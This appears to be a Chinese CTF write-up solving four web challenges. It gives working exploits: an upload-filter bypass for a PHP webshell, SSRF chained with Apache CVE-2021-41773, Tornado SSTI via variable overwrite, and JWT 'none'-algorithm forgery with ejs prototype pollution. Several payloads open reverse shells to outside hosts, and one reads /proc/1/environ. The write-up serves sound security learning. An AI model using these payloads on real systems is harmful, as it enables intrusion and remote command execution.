php签到
源代码
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
简单分析一下,检查是否上传名为file的文件,然后对上传文件名url解码,然后使用 file_get_contents() 函数读取上传文件的内容。
关键点在于如何绕过waf,因为pathinfo会获取拓展名,然后黑名单检测。
这里我们的思路是利用pathinfo的特性,当传入的参数是1.php/.
时 pathinfo 获取的文件的后缀名为NULL,故可以在文件名后面添加/.来实现绕过 (记得将文件名url编码)
我们首先上传文件,我的方法是修改前端代码
<!DOCTYPE html>
<html>
<body>
<form action="http://node5.anna.nssctf.cn:28751/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
编辑html,将上述代码复制到<body>
处
即可得到上传文件功能
然后上传名为1.php的一句话木马,bp抓包修改后缀为1.php/.
(这里我再次测试1.php.
,发现上传不成功)
上传成功后,访问./1.php/
或./1.php
得到flag
MyBox
考点:ssrf,Apache HTTP Server路径穿越漏洞,反弹shell
非预期解
直接读取环境变量
/?url=file:///proc/1/environ
预期解
打开题目,发现存在参数url,成功读取用户信息
观察到题目为python环境,读取app.py
源码如下
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7:], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''
app.run('0.0.0.0', 827)
这里url参数对应不同功能
- 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
- 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
- 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
- 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。
发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,得把字符串gopher://换成mybox://。
关键代码如下
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
先发个请求包看看,请求一下不存在的PHP文件,搜集一下信息
import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
可以看到返回404,但是告诉我们服务器版本
这里存在Apache HTTP Server路径穿越漏洞(CVE-2021-41773)
修改下刚刚的exp
import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59
bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
注:Content-Length:59
可以bp抓包复制进去看看长度
上传,反弹shell成功
得到flag
MyHurricane
考点:Tornado、ssti
打开题目,源码如下
import tornado.ioloop
import tornado.web
import os BASE_DIR = os.path.dirname(__file__)
def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f""" {data} """)
f.flush()
self.render('1.html')
else: self.finish('no no no')
if __name__ == "__main__":
app = tornado.web.Application([ (r"/", IndexHandler), ], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()
分析一下
- 首先定义了waf函数,对一些关键字进行过滤
- 然后定义了IndexHandler类,它继承自tornado.web.RequestHandler。定义了get()和post()方法,其中post方法接收参数ssti,然后检测黑名单,因为render内容可控,我们可以通过
{{}}
进行传递变量和命令执行
非预期解
读取环境变量,可以通过文件包含读取
ssti={% include /proc/1/environ %} //或者是{% extends /proc/1/environ %}
预期解
利用了tornado里的变量覆盖,让_tt_utf8为eval,在渲染时时会有_tt_utf8(__tt_tmp)这样的调用
原理:可以看一下该模板的临时代码
由于这里过滤了很多关键字,我们可以用set和raw语法去构造payload
ssti={% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 <&1'")
先定义变量,然后raw只许输出,进行反弹shell
然后将反弹shell编码一下
在环境变量处得到flag
MyJs
考点:JWT空算法伪造、ejs原型链污染
打开题目发现是登录框,F12发现有源码泄露
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');
global.secrets = [];
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')
分析一下
- 首先我们可以知道的是ejs模板引擎,定义密钥为长度十六的随机数
/login
路由下先判断是否为POST请求,从请求中接收username、password和token属性并赋值,赋值sid为token值中的secretid值,判断sid是否为空或者未定义,然后将sid的值赋值给secret,接着进行jwt的认证,如果认证成功则登陆/register
路由同样先判断是否为POST请求,接收username、password参数,并且不允许注册用户名为nss,然后就是进行jwt加密/update
路由下会判断是否为nss用户,如果不是则无法对uid(也就是count)进行修改,然后存在merge函数可以原型链污染
我们首先知道要用nss用户登录,但是无法注册。如果我们要直接用nss登录的话要进行jwt验证,所以我们利用空算法实现jwt伪造,从而完成登录
我们将算法设置为空,那么我们就可以实现空密钥登录
我们看向代码login的逻辑
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
//省略部分代码
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
secret的值为sid的值,而sid的值又是从token中的secretid得到,所以我们只需要让secretid为空即可,伪造脚本如下
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
secretid: [],
username: 'nss',
password: '123456'
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
我们先随便注册一个(不然登陆不成功)
将得到的token进行登录,成功跳转/home
我们知道存在ejs模板注入
payload
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1\"');var __tmp2"
}
}
注意要修改为application/json
成功反弹shell,在环境变量得到flag